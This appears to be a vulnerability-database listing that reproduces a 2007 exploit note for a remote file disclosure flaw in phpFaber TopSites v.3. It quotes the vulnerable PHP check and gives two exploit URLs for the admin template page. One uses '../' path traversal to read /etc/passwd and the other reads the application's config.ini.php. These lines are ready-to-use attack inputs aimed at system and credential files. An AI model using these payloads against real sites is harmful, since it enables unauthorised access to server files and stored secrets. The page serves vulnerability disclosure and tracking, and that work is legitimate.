Lucene search

K

phpfaber-include.txt

🗓️ 12 Apr 2007 00:00:00Reported by Dr.RoVeRType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

phpFaber TopSites v.3 Remote File Disclosure Vulnerability, requires admin privilege

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`# phpFaber TopSites v.3(index.php)Remote File Disclosure Vulnerability  
# D.Script: http://www.phpfaber.com/cms_content/files/phpfaber_topsites.zip  
# Discovered by: Dr.RoVeR -->Arab48 Hacker -->[email protected]  
# Greetz To: Tryag Team  
#You have to be admin to run the script :D  
# V.Code:   
##############################################################  
#if (!$_GET['page'] || preg_match('/\W/',$_GET['page'])   
#|| !file_exists(PATH_SITE.FLD_ADMIN.$_GET['page'].'.php'))   
#$_GET['page'] = 'summary';  
##############################################################  
#Exploit:/Path/admin/index.php?page=template&modify=../../../../../../etc/passwd  
#Exploit:/Path/admin/index.php?page=template&modify=inc/config.ini.php   
  
  
--   
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
12 Apr 2007 00:00Current
7.4High risk
Vulners AI Score7.4
21
.json
Report